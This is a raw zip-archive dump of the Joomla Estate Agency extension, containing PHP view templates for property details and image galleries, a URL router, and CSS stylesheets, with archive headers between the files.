$this->escape($this->row->town ) ?>
</address>
<?php endif ?>
<?php if ($this->row->area) :?>
<p><?php echo JText::_('COM_JEA_FIELD_AREA_LABEL')
?> :
<strong> <?php echo$this->escape( $this->row->area )
?></strong>
</p>
<?php endif ?>
<?php if (!empty($this->row->amenities)): ?>
<h3><?php echo JText::_('COM_JEA_AMENITIES')?>
:</h3>
<?php echo JHtml::_('amenities.bindList',
$this->row->amenities, 'ul') ?>
<?php endif ?>
</div>
<?php if (intval($this->row->availability)): ?>
<p class="availability">
<?php echo
JText::_('COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL') ?> :
<?php echo JHTML::_('date', $this->row->availability,
JText::_('DATE_FORMAT_LC3') ) ?>
</p>
<?php endif ?>
<h3><?php echo
JText::_('COM_JEA_FINANCIAL_INFORMATIONS') ?> : </h3>
<table class="jea-data">
<tr>
<th><?php echo $this->row->transaction_type ==
'RENTING' ? JText::_('COM_JEA_FIELD_PRICE_RENT_LABEL')
: JText::_('COM_JEA_FIELD_PRICE_LABEL') ?></th>
<td class="right">
<?php echo JHtml::_('utility.formatPrice', (float)
$this->row->price, JText::_('COM_JEA_CONSULT_US')) ?>
<?php if ($this->row->transaction_type == 'RENTING'
&& (float) $this->row->price != 0.0): ?>
<span class="rate_frequency"><?php echo
JText::_('COM_JEA_PRICE_PER_FREQUENCY_'.
$this->row->rate_frequency) ?></span>
<?php endif ?>
</td>
</tr>
<?php if ((float)$this->row->charges > 0): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_CHARGES_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->charges) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->transaction_type == 'RENTING'
&& (float) $this->row->deposit > 0 ): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_DEPOSIT_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float)
$this->row->deposit) ?></td>
</tr>
<?php endif ?>
<?php if ((float)$this->row->fees > 0): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_FEES_LABEL')
?></th>
<td class="right"><?php echo
JHtml::_('utility.formatPrice', (float) $this->row->fees)
?></td>
</tr>
<?php endif ?>
</table>
<h3><?php echo JText::_('COM_JEA_DETAILS') ?> :
</h3>
<table class="jea-data">
<?php if ($this->row->condition): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_CONDITION_LABEL') ?></th>
<td><?php echo $this->escape($this->row->condition)
?></td>
</tr>
<?php endif ?>
<?php if ($this->row->living_space): ?>
<tr>
<th><?php echo JText::_(
'COM_JEA_FIELD_LIVING_SPACE_LABEL' ) ?></th>
<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->living_space ) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->land_space): ?>
<tr>
<th><?php echo JText::_(
'COM_JEA_FIELD_LAND_SPACE_LABEL' ) ?></th>
<td><?php echo JHtml::_('utility.formatSurface',
(float) $this->row->land_space ) ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->rooms): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL') ?></th>
<td><?php echo $this->row->rooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->bedrooms): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL')
?></th>
<td><?php echo $this->row->bedrooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->orientation != '0'): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_ORIENTATION_LABEL') ?></th>
<td>
<?php
switch ($this->row->orientation)
{
case 'N':
echo JText::_('COM_JEA_OPTION_NORTH');
break;
case 'NW':
echo JText::_('COM_JEA_OPTION_NORTH_WEST');
break;
case 'NE':
echo JText::_('COM_JEA_OPTION_NORTH_EAST');
break;
case 'NS':
echo JText::_('COM_JEA_OPTION_NORTH_SOUTH');
break;
case 'E':
echo JText::_('COM_JEA_OPTION_EAST');
break;
case 'EW':
echo JText::_('COM_JEA_OPTION_EAST_WEST');
break;
case 'W':
echo JText::_('COM_JEA_OPTION_WEST');
break;
case 'S':
echo JText::_('COM_JEA_OPTION_SOUTH');
break;
case 'SW':
echo JText::_('COM_JEA_OPTION_SOUTH_WEST');
break;
case 'SE':
echo JText::_('COM_JEA_OPTION_SOUTH_EAST');
break;
}
?>
</td>
</tr>
<?php endif ?>
<?php if ($this->row->floor): ?>
<tr>
<th><?php echo JText::_('COM_JEA_FIELD_FLOOR_LABEL')
?></th>
<td><?php echo $this->row->floor ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->floors_number ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_FLOORS_NUMBER_LABEL') ?></th>
<td><?php echo $this->row->floors_number ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->bathrooms ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL')
?></th>
<td><?php echo $this->row->bathrooms ?></td>
</tr>
<?php endif ?>
<?php if ($this->row->toilets): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL')
?></th>
<td><?php echo $this->row->toilets ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->heating_type_name ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_HEATINGTYPE_LABEL') ?></th>
<td><?php echo $this->escape(
$this->row->heating_type_name) ?></td>
</tr>
<?php endif ?>
<?php if ( $this->row->hot_water_type_name ): ?>
<tr>
<th><?php echo
JText::_('COM_JEA_FIELD_HOTWATERTYPE_LABEL') ?></th>
<td><?php echo $this->escape(
$this->row->hot_water_type_name) ?></td>
</tr>
<?php endif ?>
</table>
<?php $dispatcher->trigger('onBeforeShowDescription',
array(&$this->row)) ?>
<div class="property-description clr">
<?php echo $this->row->description ?>
</div>
<?php $dispatcher->trigger('onAfterShowDescription',
array(&$this->row)) ?>
<?php if ( $this->params->get('show_googlemap') ): ?>
<h3><?php echo JText::_('COM_JEA_GEOLOCALIZATION') ?>
:</h3>
<?php echo $this->loadTemplate('googlemap') ?>
<?php endif ?>
<?php if ( $this->params->get('show_contactform') ):
?>
<?php echo $this->loadTemplate('contactform') ?>
<?php endif ?>
<p>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=properties')?>"><?php
echo JText::_('COM_JEA_RETURN_TO_THE_LIST')?></a>
</p>
PKK��[9���s s 'views/property/tmpl/default_gallery.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (! is_array($this->row->images))
{
return;
}
JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));
JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));
$mainImage = $this->row->images[0];
$script = <<<JS
jQuery(function($) {
$('.jea-thumbnails').on('click', function(e) {
e.preventDefault();
$('#jea-preview-img').attr('src',
$(this).attr('rel'));
$('#jea-preview-img').parent().attr('href',
$(this).attr('href'));
$('#jea-preview-title').empty().text($(this).find('img').attr('alt'));
$('#jea-preview-description').empty().text($(this).find('img').attr('title'));
});
$('.modal').magnificPopup({
type: 'image'
});
if ($('#jea-gallery-scroll').hasClass('vertical')
&& $(window).width() > 1200) {
$('#jea-preview-img').on('load', function() {
$('#jea-gallery-scroll').css('height',
$(this).height());
});
}
});
JS;
$this->document->addScriptDeclaration($script);
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a href="<?php echo $mainImage->URL ?>"
class="modal">
<img src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>" />
</a>
<div id="jea-preview-title"><?php echo
$mainImage->title ?></div>
<div id="jea-preview-description"><?php echo
$mainImage->description ?></div>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a class="jea-thumbnails" rel="<?php echo
$image->mediumURL?>" href="<?php echo
$image->URL?>">
<img src="<?php echo $image->minURL ?>"
alt="<?php echo $image->title ?>" title="<?php
echo $image->description ?>" /></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
PKK��[�x�O
O
-views/property/tmpl/default_magnificpopup.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (!is_array($this->row->images))
{
return;
}
$mainImage = $this->row->images[0];
$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');
JHtml::stylesheet('com_jea/magnific-popup.css',
array('relative' => true));
JHtml::_('jquery.framework');
JHtml::script('com_jea/jquery.magnific-popup.min.js',
array('relative' => true));
$script = <<<EOB
jQuery(function($) {
var previousLabel = '$previousLabel';
var nextLabel = '$nextLabel';
$('#jea-gallery-preview a').on('click', function(e) {
e.preventDefault();
$('.popup-gallery a:first').trigger('click');
});
$('.popup-gallery').magnificPopup({
delegate: 'a',
type: 'image',
tLoading: 'Loading image #%curr%...',
mainClass: 'mfp-img-mobile',
gallery: {
enabled: true,
navigateByImgClick: true,
preload: [0,1] // Will preload 0 - before current, and 1 after the
current image
},
image: {
tError: '<a href="%url%">The image
#%curr%</a> could not be loaded.',
titleSrc: function(item) {
var title = item.el.attr('title');
var description = item.img.attr('alt');
return description ? title + ' / ' + description : title;
}
}
});
if ($('#jea-gallery-scroll').hasClass('vertical')
&& $(window).width() > 1200) {
$('#jea-preview-img').on('load', function() {
$('#jea-gallery-scroll').css('height',
$(this).height());
});
}
});
EOB;
$this->document->addScriptDeclaration($script);
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a href="<?php echo $mainImage->URL ?>"
title="<?php echo $mainImage->title ?>"><img
src="<?php echo $mainImage->mediumURL ?>"
id="jea-preview-img"
alt="<?php echo $mainImage->description ?>"
/></a>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="popup-gallery
<?php echo $gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a href="<?php echo $image->URL?>"
title="<?php echo $image->title ?>">
<img src="<?php echo $image->mediumURL ?>"
alt="<?php echo $image->description ?>" /></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
PKK��[(���*views/property/tmpl/default_squeezebox.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
*
* @var $this JeaViewProperty
*/
if (!is_array($this->row->images))
{
return;
}
$mainImage = array_shift($this->row->images);
$previousLabel = JText::_('JPREVIOUS');
$nextLabel = JText::_('JNEXT');
$script = <<<EOB
var previousLabel = '$previousLabel';
var nextLabel = '$nextLabel';
window.addEvent('domready', function(){
if
(document.id('jea-gallery-scroll').hasClass('vertical'))
{
var winSize = window.getSize();
if (winSize.x > 1200) {
document.id('jea-preview-img').addEvent('load',
function() {
var imgSize = this.getSize();
document.id('jea-gallery-scroll').setStyle('height',
imgSize.y);
});
}
}
});
EOB;
$this->document->addScriptDeclaration($script);
JHtml::script('com_jea/jea-squeezebox.js',
array('relative' => true));
JHtml::_('behavior.modal', 'a.jea_modal',
array('onOpen' => '\onOpenSqueezebox'));
$gallery_orientation =
$this->params->get('gallery_orientation',
'vertical');
?>
<div id="jea-gallery" class="<?php echo
$gallery_orientation ?>">
<div id="jea-gallery-preview" class="<?php echo
$gallery_orientation ?>">
<a class="jea_modal" href="<?php echo
$mainImage->URL ?>"><img src="<?php echo
$mainImage->mediumURL ?>" id="jea-preview-img"
alt="<?php echo $mainImage->title ?>"
title="<?php echo $mainImage->description ?>"
/></a>
</div>
<?php if( !empty($this->row->images)): ?>
<div id="jea-gallery-scroll" class="<?php echo
$gallery_orientation ?>">
<?php foreach($this->row->images as $image) : ?>
<a class="jea_modal" href="<?php echo
$image->URL?>"><img src="<?php echo
$image->minURL ?>" alt="<?php echo $image->title
?>"
title="<?php echo $image->description ?>"
/></a>
<?php endforeach ?>
</div>
<?php endif ?>
</div>
PKK��[�ofnn
router.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Site
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* JEA router functions
*
* @param array $query An array of URL arguments
*
* @return array The URL arguments to use to assemble the subsequent URL.
*
* @deprecated 4.0 Use Class based routers instead
*/
function jeaBuildRoute(&$query)
{
$segments = array();
if (isset($query['view']))
{
unset($query['view']);
}
if (isset($query['layout']))
{
$segments[] = $query['layout'];
unset($query['layout']);
}
if (isset($query['id']))
{
$segments[] = $query['id'];
unset($query['id']);
}
return $segments;
}
/**
* Parse the segments of a URL.
*
* @param array $segments The segments of the URL to parse.
*
* @return array The URL attributes to be used by the application.
*
* @deprecated 4.0 Use Class based routers instead
*/
function jeaParseRoute($segments)
{
$vars = array();
// Get the active menu item
$app = JFactory::getApplication();
$menu = $app->getMenu();
$item = $menu->getActive();
// Count route segments
$count = count($segments);
// Standard routing for property
if (! isset($item))
{
$vars['view'] = 'property';
$vars['id'] = $segments[$count - 1];
return $vars;
}
if ($count == 1 && is_numeric($segments[0]))
{
// If there is only one numeric segment, then it points to a property
detail
if (strpos($segments[0], ':') === false)
{
$id = (int) $segments[0];
}
else
{
$exp = explode(':', $segments[0], 2);
$id = (int) $exp[0];
}
$vars['view'] = 'property';
$vars['id'] = $id;
}
if ($item->query['view'] == 'properties')
{
$layout = isset($item->query['layout']) ?
$item->query['layout'] : 'default';
switch ($layout)
{
case 'default':
case 'search':
case 'searchmap':
$vars['view'] = 'properties';
$vars['layout'] = $layout;
if ($count == 1)
{
// If there is only one, then it points to a property detail
if (is_numeric($segments[0]))
{
$vars['view'] = 'property';
$vars['id'] = (int) $segments[0];
}
elseif (strpos($segments[0], ':') !== false)
{
$exp = explode(':', $segments[0], 2);
$vars['id'] = (int) $exp[0];
$vars['view'] = 'property';
}
}
break;
case 'manage':
$vars['view'] = 'properties';
$vars['layout'] = 'manage';
if ($count > 0 && $segments[0] == 'edit')
{
$vars['view'] = 'form';
$vars['layout'] = 'edit';
if ($count == 2)
{
$vars['id'] = (int) $segments[1];
}
}
break;
}
}
elseif ($item->query['view'] == 'form')
{
$vars['view'] = 'form';
$vars['layout'] = 'edit';
if ($count > 0)
{
if ($segments[0] == 'edit' && $count == 2)
{
$vars['id'] = (int) $segments[1];
}
elseif ($segments[0] == 'manage')
{
$vars['view'] = 'properties';
$vars['layout'] = 'manage';
}
}
}
return $vars;
}
PK0��[
css/print.cssnu�[���PK0��[5�$���css/jea.cssnu�[���.clr
{
clear: both;
}
.numberbox {
text-align: right;
padding-right: 2px;
}
.right {
text-align: right;
}
/*** Properties Search layout ***/
#jea-search-form label {
display: inline !important;
}
#jea-search-form input {
width: auto !important;
}
#jea-search-form .jea-counter {
float: right;
}
#jea-search-form .jea-counter-result {
font-weight: bold;
}
#jea-search-form h2, #jea-search-form hr {
clear: both;
}
#jea-search-form hr {
margin: 1em 0;
}
#jea-search-form select {
width: 12em;
}
#jea-search-form dl {
padding: 0.5em 0;
}
#jea-search-form dl.col-left, #jea-search-form dl.col-right {
float: left;
}
#jea-search-form dl.col-left {
margin-right: 3em;
}
#jea-search-form dt, #jea-search-form dd {
margin: 0;
padding: 0;
display: table-cell;
}
#jea-search-form dt {
min-width: 5em;
}
#jea-search-form ul {
overflow: hidden;
margin: 1em 0 !important;
padding: 0 !important;
}
#jea-search-form ul.jea-search-other li {
list-style: none;
margin: 0.5em 0 !important;
padding: 0 !important;
}
#jea-search-form ul.jea-search-other label {
display: inline-block;
min-width: 13em;
}
#jea-search-form .amenities li {
width: 17em;
margin: 0 1.5em 0.5em 0 !important;
padding: 0 !important;
float: left;
list-style: none;
}
/* Properties Default layout */
.limitbox {
text-align: right;
}
dl.jea_item {
border-top: 1px dashed #ccc;
padding: 1em 0;
margin: 0;
}
dl.jea_item:FIRST-CHILD {
border-top: none;
padding-top: 0;
}
dl.jea_item dt.title {
margin-bottom: 0.7em;
}
dl.jea_item dt.title strong {
font-size: 1.3em;
}
dl.jea_item dt.image {
text-align: center;
margin-bottom: 1em;
}
dl.jea_item dt.image img {
border-color: #819d26;
}
dl.jea_item span.slogan {
float: right;
}
dl.jea_item span.slogan strong {
color: red;
}
@media ( min-width : 1200px) {
dl.jea_item {
/* formatting context, prevent overshooting of floating */
overflow: hidden;
}
dl.jea_item dt.title {
clear: both;
}
dl.jea_item dt.image {
float: left;
margin-right: 1em;
margin-bottom: 0;
}
}
/* Property Default layout */
.prev-next-navigation {
text-align: center;
}
.prev-next-navigation .previous {
display: inline-block;
margin-right: 20px;
}
.jea-tools .print-icon {
float: right;
}
.jea-tools img {
border: none;
}
#jea-gallery {
margin-bottom: 10px;
}
#jea-gallery-scroll {
display: flex;
flex-wrap: wrap;
justify-content: space-between;
align-content: space-between;
}
#jea-gallery-scroll a {
display: block;
max-width: 32%;
margin: auto auto 5px auto;
}
#jea-gallery-preview a {
display: inline-block;
}
#jea-gallery-preview img {
max-width: 100%;
margin-bottom: 5px;
}
#jea-preview-title {
font-weight: bold;
}
#jea-preview-description {
font-style: italic;
}
span.rate_frequency {
font-size: 0.9em;
font-weight: normal;
}
table.jea-data {
width: 100%;
}
table.jea-data th, table.jea-data td {
padding: 0.4em;
}
table.jea-data th {
text-align: left;
font-weight: normal;
}
table.jea-data td {
font-weight: bold;
}
.property-description {
margin: 2em 0;
}
#advantages_list {
margin-bottom: 10px;
}
#jea_property_map {
width: 100%;
height: 300px;
margin-bottom: 1.5em;
}
.google-map-mask {
background: #000 url(../images/spinner.gif) center center no-repeat;
}
form#jea-contact-form legend {
font-weight: bold;
}
form#jea-contact-form fieldset dt {
padding: 3px 0;
margin: 0;
}
form#jea-contact-form fieldset dd {
padding: 3px 0;
margin: 0 0 0.3em 0;
}
form#jea-contact-form input[type="text"], form#jea-contact-form
textarea
{
width: 100%;
box-sizing: border-box;
height: auto;
}
@media ( min-width : 1200px) {
#jea-gallery.vertical {
display: flex;
justify-content: space-between;
}
#jea-gallery-preview.vertical {
flex-basis: 80%;
margin-right: 5px;
}
#jea-gallery-scroll.vertical {
flex-basis: 20%;
overflow-y: auto;
}
#jea-gallery-scroll.vertical a {
max-width: 100%;
}
#jea-gallery-scroll.horizontal {
display: block;
white-space: nowrap;
overflow-x: auto;
}
#jea-gallery-scroll.horizontal a {
display: inline-block;
}
#jea-gallery-scroll.horizontal img {
max-height: 80px;
max-width: auto;
}
table.jea-data {
width: auto;
}
.jea-col-right {
float: right;
margin-left: 2em;
padding: 2em;
border-left: 1px dashed #b2b4bf;
}
}
/*** SqueezeBox layout ***/
#jea-squeezeBox-navblock {
position: relative;
bottom: -15px;
text-align: center;
}
#jea-squeezeBox-infos {
position: absolute;
bottom: 15px;
right: 15px;
text-align: center;
background: #000;
padding: 10px;
opacity: 0.8;
}
#jea-squeezeBox-title {
font-weight: bold;
color: #fff;
font-size: 13px;
}
#jea-squeezeBox-description {
color: #ddd;
font-size: 10px;
}
a#jea-squeezeBox-prev, a#jea-squeezeBox-next {
color: #fff;
}
#jea-squeezeBox-prev {
margin-right: 10px;
}
#jea-squeezeBox-next {
margin-left: 10px;
}
a#jea-squeezeBox-prev.inactive, a#jea-squeezeBox-next.inactive {
color: #ccc;
text-decoration: none;
background: transparent;
cursor: default;
}
/*format tabular list */
table.jea_listing, table.jea_listing thead, table.jea_listing th,
table.jea_listing tbody,
table.jea_listing td {
border: 1px solid #ccc;
}
table.jea_listing {
border-collapse: collapse;
}
table.jea_listing th, table.jea_listing td {
padding: 5px;
text-align: left;
}
table.jea_listing tbody th {
font-weight: bold;
}
table.jea_listing thead {
font-weight: bold;
white-space: nowrap;
text-align: left;
}
table.jea_listing tbody tr.row1 {
background: #F9F9F9;
}
table.jea_listing tbody tr:hover {
background: #FFD;
}
table.jea_listing .right {
text-align: right;
}
table.jea_listing .center {
text-align: center;
}
table.jea_listing .nowrap {
white-space: nowrap;
}
/*** Property form layout ***/
ul#amenities {
list-style: none !important;
padding: 0 !important;
margin: 0 !important;
overflow: hidden;
}
ul#amenities li {
width: 200px;
margin: 0 15px 10px 0 !important;
padding: 0 !important;
float: left;
}
ul#amenities li label {
font-size: 12px;
line-height: 13px;
}
ul#amenities li input {
float: none;
margin: 0 8px 0 0;
}
ul.gallery {
margin: 10px 0 0 0 !important;
list-style: none !important;
padding: 0 !important;
}
ul.gallery li {
padding: 10px 0 10px 10px !important;
margin: 0 !important;
border-top: 1px solid #ccc !important;
}
ul.gallery li:FIRST-CHILD {
background: #FFFFCC
}
ul.gallery a.imgLink {
float: left;
margin: 0 10px 5px 0;
}
ul.gallery a.imgLink img {
float: none;
margin: 0;
}
ul.gallery .imgTools a {
cursor: pointer;
display: inline-block;
padding: 0 5px;
}
ul.gallery .imgTools a.delete-img {
margin-left: 20px;
}
ul.gallery label {
display: inline-block;
vertical-align: top;
width: 10em;
}
#found_properties {
white-space: nowrap;
}
.slider_background {
background: url("../images/slider_bg.png") center center
no-repeat;
height: 20px;
width: 250px;
}
.knob {
background: url("../images/knob.png") center center no-repeat;
height: 20px;
width: 16px;
cursor: move;
}
.jea_slider_block {
float: left;
width: 250px;
margin: 10px 10px 10px 0;
}
.jea_slider_block h2 {
font-size: 12px;
font-weight: bold;
margin: 0 !important;
padding: 0 !important;
text-align: center;
}
.slider_infos {
text-align: center !important;
}
.slider_min_value {
margin-right: 10px;
}
.slider_max_value {
margin-left: 10px;
}
/* property form */
#adminForm label {
display: inline-block !important;
vertical-align: top;
width: 13em;
}
#adminForm input {
width: auto !important;
}
PK0��[ �Z��css/magnific-popup.cssnu�[���/*
Magnific Popup CSS */
.mfp-bg {
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1042;
overflow: hidden;
position: fixed;
background: #0b0b0b;
opacity: 0.8;
}
.mfp-wrap {
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1043;
position: fixed;
outline: none !important;
-webkit-backface-visibility: hidden;
}
.mfp-container {
text-align: center;
position: absolute;
width: 100%;
height: 100%;
left: 0;
top: 0;
padding: 0 8px;
box-sizing: border-box;
}
.mfp-container:before {
content: '';
display: inline-block;
height: 100%;
vertical-align: middle;
}
.mfp-align-top .mfp-container:before {
display: none;
}
.mfp-content {
position: relative;
display: inline-block;
vertical-align: middle;
margin: 0 auto;
text-align: left;
z-index: 1045;
}
.mfp-inline-holder .mfp-content, .mfp-ajax-holder .mfp-content {
width: 100%;
cursor: auto;
}
.mfp-ajax-cur {
cursor: progress;
}
.mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close {
cursor: -moz-zoom-out;
cursor: -webkit-zoom-out;
cursor: zoom-out;
}
.mfp-zoom {
cursor: pointer;
cursor: -webkit-zoom-in;
cursor: -moz-zoom-in;
cursor: zoom-in;
}
.mfp-auto-cursor .mfp-content {
cursor: auto;
}
.mfp-close, .mfp-arrow, .mfp-preloader, .mfp-counter {
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
.mfp-loading.mfp-figure {
display: none;
}
.mfp-hide {
display: none !important;
}
.mfp-preloader {
color: #CCC;
position: absolute;
top: 50%;
width: auto;
text-align: center;
margin-top: -0.8em;
left: 8px;
right: 8px;
z-index: 1044;
}
.mfp-preloader a {
color: #CCC;
}
.mfp-preloader a:hover {
color: #FFF;
}
.mfp-s-ready .mfp-preloader {
display: none;
}
.mfp-s-error .mfp-content {
display: none;
}
button.mfp-close, button.mfp-arrow {
overflow: visible;
cursor: pointer;
background: transparent;
border: 0;
-webkit-appearance: none;
display: block;
outline: none;
padding: 0;
z-index: 1046;
box-shadow: none;
touch-action: manipulation;
}
button::-moz-focus-inner {
padding: 0;
border: 0;
}
.mfp-close {
width: 44px;
height: 44px;
line-height: 44px;
position: absolute;
right: 0;
top: 0;
text-decoration: none;
text-align: center;
opacity: 0.65;
padding: 0 0 18px 10px;
color: #FFF;
font-style: normal;
font-size: 28px;
font-family: Arial, Baskerville, monospace;
}
.mfp-close:hover, .mfp-close:focus {
opacity: 1;
}
.mfp-close:active {
top: 1px;
}
.mfp-close-btn-in .mfp-close {
color: #333;
}
.mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close {
color: #FFF;
right: -6px;
text-align: right;
padding-right: 6px;
width: 100%;
}
.mfp-counter {
position: absolute;
top: 0;
right: 0;
color: #CCC;
font-size: 12px;
line-height: 18px;
white-space: nowrap;
}
.mfp-arrow {
position: absolute;
opacity: 0.65;
margin: 0;
top: 50%;
margin-top: -55px;
padding: 0;
width: 90px;
height: 110px;
-webkit-tap-highlight-color: transparent;
}
.mfp-arrow:active {
margin-top: -54px;
}
.mfp-arrow:hover, .mfp-arrow:focus {
opacity: 1;
}
.mfp-arrow:before, .mfp-arrow:after {
content: '';
display: block;
width: 0;
height: 0;
position: absolute;
left: 0;
top: 0;
margin-top: 35px;
margin-left: 35px;
border: medium inset transparent;
}
.mfp-arrow:after {
border-top-width: 13px;
border-bottom-width: 13px;
top: 8px;
}
.mfp-arrow:before {
border-top-width: 21px;
border-bottom-width: 21px;
opacity: 0.7;
}
.mfp-arrow-left {
left: 0;
}
.mfp-arrow-left:after {
border-right: 17px solid #FFF;
margin-left: 31px;
}
.mfp-arrow-left:before {
margin-left: 25px;
border-right: 27px solid #3F3F3F;
}
.mfp-arrow-right {
right: 0;
}
.mfp-arrow-right:after {
border-left: 17px solid #FFF;
margin-left: 39px;
}
.mfp-arrow-right:before {
border-left: 27px solid #3F3F3F;
}
.mfp-iframe-holder {
padding-top: 40px;
padding-bottom: 40px;
}
.mfp-iframe-holder .mfp-content {
line-height: 0;
width: 100%;
max-width: 900px;
}
.mfp-iframe-holder .mfp-close {
top: -40px;
}
.mfp-iframe-scaler {
width: 100%;
height: 0;
overflow: hidden;
padding-top: 56.25%;
}
.mfp-iframe-scaler iframe {
position: absolute;
display: block;
top: 0;
left: 0;
width: 100%;
height: 100%;
box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
background: #000;
}
/* Main image in popup */
img.mfp-img {
width: auto;
max-width: 100%;
height: auto;
display: block;
line-height: 0;
box-sizing: border-box;
padding: 40px 0 40px;
margin: 0 auto;
}
/* The shadow behind the image */
.mfp-figure {
line-height: 0;
}
.mfp-figure:after {
content: '';
position: absolute;
left: 0;
top: 40px;
bottom: 40px;
display: block;
right: 0;
width: auto;
height: auto;
z-index: -1;
box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
background: #444;
}
.mfp-figure small {
color: #BDBDBD;
display: block;
font-size: 12px;
line-height: 14px;
}
.mfp-figure figure {
margin: 0;
}
.mfp-bottom-bar {
margin-top: -36px;
position: absolute;
top: 100%;
left: 0;
width: 100%;
cursor: auto;
}
.mfp-title {
text-align: left;
line-height: 18px;
color: #F3F3F3;
word-wrap: break-word;
padding-right: 36px;
}
.mfp-image-holder .mfp-content {
max-width: 100%;
}
.mfp-gallery .mfp-image-holder .mfp-figure {
cursor: pointer;
}
@media screen and (max-width: 800px) and (orientation: landscape) , screen
and (max-height: 300px) {
/**
* Remove all paddings around the image on small screen
*/
.mfp-img-mobile .mfp-image-holder {
padding-left: 0;
padding-right: 0;
}
.mfp-img-mobile img.mfp-img {
padding: 0;
}
.mfp-img-mobile .mfp-figure:after {
top: 0;
bottom: 0;
}
.mfp-img-mobile .mfp-figure small {
display: inline;
margin-left: 5px;
}
.mfp-img-mobile .mfp-bottom-bar {
background: rgba(0, 0, 0, 0.6);
bottom: 0;
margin: 0;
top: auto;
padding: 3px 5px;
position: fixed;
box-sizing: border-box;
}
.mfp-img-mobile .mfp-bottom-bar:empty {
padding: 0;
}
.mfp-img-mobile .mfp-counter {
right: 5px;
top: 3px;
}
.mfp-img-mobile .mfp-close {
top: 0;
right: 0;
width: 35px;
height: 35px;
line-height: 35px;
background: rgba(0, 0, 0, 0.6);
position: fixed;
text-align: center;
padding: 0;
}
}
@media all and (max-width: 900px) {
.mfp-arrow {
-webkit-transform: scale(0.75);
transform: scale(0.75);
}
.mfp-arrow-left {
-webkit-transform-origin: 0;
transform-origin: 0;
}
.mfp-arrow-right {
-webkit-transform-origin: 100%;
transform-origin: 100%;
}
.mfp-container {
padding-left: 6px;
padding-right: 6px;
}
}PK0��[�
c��css/jea.admin.cssnu�[���
.icon-jea {
background-image:url(../images/header/icon-36-jea.png);
height: 36px !important;
width: 36px !important;
line-height: 36px !important;
vertical-align: middle;
}
.numberbox{
text-align:right;
padding-right:2px;
}
/* Used to format price / surface fields */
span.input-suffix {
